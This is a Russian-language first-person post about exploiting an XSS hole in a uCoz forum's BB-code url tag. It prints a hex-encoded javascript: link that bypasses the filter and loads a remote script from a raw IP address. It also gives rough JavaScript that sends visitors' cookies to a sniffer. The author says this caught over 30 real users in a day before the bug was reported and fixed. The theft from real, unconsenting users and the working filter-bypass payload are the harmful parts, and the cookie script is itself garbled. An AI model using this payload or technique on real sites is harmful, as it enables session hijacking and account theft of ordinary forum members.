
Однажды, сидя на своем любимом форуме, у меня возникла мысль: "Хм! А ведь раньше были уязвимость в BB кодах различных форумов. Может быть они не все перевелись?". «Надо бы поискать» — сказал я себе.
Что же я делал?
Некоторое время было потрачено на изучение доступных BB кодов(кстати форум ucoz, а сайт входит в топ10 игровой тематики).
После неких манипуляций обнаружилось, что тэг url сохраняет протокол javascript, т.е пытается что-то делать, просто фильтруется. «Оп-па, подумал я».
[url=javascript:alert("XSS");]Load[/url].
Конечно не работает… Что же делать?
И тут еще одна мысль! «А ведь постоянно вижу в ссылках эти знаки процента!»
Был расчехлен любимый python и написана коленочная программа для генерации зашифрованной в hex url-строки.
print "%"+"%".join("{0:x}".format(ord(c)) for c in s)
Вот эта конструкция позволяла добавить к каждому посту сообщение, типа hacked by FelZz (ну вы поняли).
[url=javascript:%24%2e%67%65%74%53%63%72%69%70%74%28%27%68%74%74%70%3a%2f%2f%39%33%2e%31%38%39%2e%34%34%2e%37%33%2f%66%65%6c%7a%7a%2f%72%65%66%2e%6a%73%27%29%3b]Load[/url]
Дальше для наглядности был написан подключаемый с помощью $.getScript(); скрипт, ворующие cookie пользователя, через httpz(сниффер).
За 24 часа попалось больше 30-ти человек, и это всего лишь безобидная красная кнопка с надписью: «Не нажимать!».
JS код(приблизительно):
var body = document.getElementByTagName("body");
body.innerHtml(body+"<iframe id="evil" src="главная сайта" />");
var evil = document.getElementById("evil");
body.innerHtml("<img src='ссылка на сниффер?'"+evil.document.cookie+">");
Естественно на мое сообщение об ошибке в поддержке ucoz'а никто не отреагировал… Но у меня были знакомые на форуме, и администратор сайта отправил письмо с жалобой.
Итог
Уязвимость устранена через неделю (30 июля). Теперь протокол javascript фильтруется полностью.
Не нужно думать, что какой-то сайт защищен полностью. Почти всегда можно найти новую(или давно забытую старую) уязвимость.